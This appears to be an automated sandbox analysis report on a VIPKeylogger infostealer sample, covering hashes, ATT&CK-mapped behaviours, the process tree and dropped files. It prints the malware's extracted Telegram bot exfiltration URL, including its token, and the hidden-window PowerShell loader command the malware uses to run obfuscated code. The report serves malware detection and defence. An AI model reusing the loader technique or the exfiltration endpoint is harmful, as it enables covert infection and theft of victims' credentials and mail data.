Analysis
-
max time kernel
144s -
max time network
145s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
-
submitted
24-12-2024 12:41
General
-
Target
Printernummers.exe
-
Size
770KB
-
MD5
5e2ff1914fc1f8ebadf282f4096d6fc8
-
SHA1
77d61bdf0ce63eed5324b56623b878fc3dc79890
-
SHA256
f5f3c3a8c7f9f5fb9531fa0d57012ce0869b52b23d05e6c9b7a0220ac917db6d
-
SHA512
e70121837b94ba002dc2093afcebed4ec1d3f90d46d1466fe66e4f0bd16a9426d58547946ef7f420c937017deb650c5705c7792f6047de68918f018b7ec4d916
-
SSDEEP
12288:6DGZKmormA1FvvLR3x8rqDFXlo3KsAYzjDCwonXnWMIk2CyLuuOSFBPpJh/gpcXF:4mor/1t8uTooHNnXWMIdCkOqXPgKP9
Malware Config
Extracted
vipkeylogger
https://api.telegram.org/bot8179583980:AAG4cdQWaAviOBBhSs3OrT1OX6_IUptNQv8/sendMessage?chat_id=6070006284
Signatures
-
VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
-
Vipkeylogger family
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Loads dropped DLL 1 IoCs
-
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
-
Blocklisted process makes network request 8 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
-
Drops file in Windows directory 1 IoCs
-
Browser Information Discovery 1 TTPs
Enumerate browser information.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Suspicious behavior: EnumeratesProcesses 11 IoCs
-
Suspicious behavior: MapViewOfSection 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 23 IoCs
-
Suspicious use of WriteProcessMemory 7 IoCs
-
outlook_office_path 1 IoCs
-
outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Printernummers.exe"C:\Users\Admin\AppData\Local\Temp\Printernummers.exe"1⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Vulcanological=gc -raw 'C:\Users\Admin\AppData\Local\magmaet\clenched\Storvildtjagten180.Agg';$Accusor=$Vulcanological.SubString(74166,3);.$Accusor($Vulcanological) "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
6KB
MD51b0e41f60564cccccd71347d01a7c397
SHA1b1bddd97765e9c249ba239e9c95ab32368098e02
SHA25613ebc725f3f236e1914fe5288ad6413798ad99bef38bfe9c8c898181238e8a10
SHA512b6d7925cdff358992b2682cf1485227204ce3868c981c47778dd6da32057a595caa933d8242c8d7090b0c54110d45fa8f935a1b4eec1e318d89cc0e44b115785
-
Filesize
333KB
MD5f496251d8a237ce1bc9d65caca347b81
SHA14a3106946c1d839e84efa429b294f55c5e922a37
SHA25636f5eb8fbf2f5dd107e9a674c7b6eabfd7f5425135a97380d7aa4268af7c0f57
SHA512e0df4a347cfcf8a396d80402cdc64496bedfd39b9da6f5f90dddefe0a6da1143ed35fd9e06b63efa1834610e69e49387dcec86008c5224250aade1afd06ac08f
-
Filesize
72KB
MD5c9297405df2a5c3c5deabc095edf89d1
SHA1f2077fc5430342c2a5ceceb58dac4c7193adbbeb
SHA25650db462fbdf3a57ccf31e74dc181f1cce93de20d0b5a43f3f576038482618f57
SHA51206e8494ae2ac6a7d68c6b1d53fc6b83f5640fad1a5771bc84f573306465fb68ad2012960574779fe34137f5154c6fcf9f68ece128d313716d96882d44324c90d
-
Filesize
33B
MD5e23f52386361095bdb7040b09e2216ae
SHA191f31dd82ab80140db621b6dce0b9b5d6b568723
SHA25636467321184a76e0fea592d2896856a37ec18fc8480de66f05d719d93b39d070
SHA51219d18de54b3466f0d283271786b3b308c3be07f21174c46563c4c16292716c52f2c1b85f416ed77143ea6847bfc4c4c37f22296948eac47499276b181f129b9c
-
Filesize
4KB
-
Filesize
216KB
-
Filesize
6.2MB
-
Filesize
7.7MB
-
Filesize
408KB
-
Filesize
408KB
-
Filesize
136KB
-
Filesize
3.3MB
-
Filesize
120KB
-
Filesize
304KB
-
Filesize
600KB
-
Filesize
104KB
-
Filesize
136KB
-
Filesize
5.6MB
-
Filesize
6.5MB
-
Filesize
200KB
-
Filesize
304KB
-
Filesize
7.7MB
-
Filesize
120KB
-
Filesize
7.7MB
-
Filesize
652KB
-
Filesize
40KB
-
Filesize
68KB
-
Filesize
56KB
-
Filesize
80KB
-
Filesize
104KB
-
Filesize
32KB
-
Filesize
168KB
-
Filesize
144KB
-
Filesize
7.7MB
-
Filesize
4KB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
91.2MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
18.3MB
-
Filesize
296KB
-
Filesize
18.3MB
-
Filesize
624KB
-
Filesize
1.8MB
-
Filesize
320KB
-
Filesize
5.2MB
-
Filesize
584KB
-
Filesize
40KB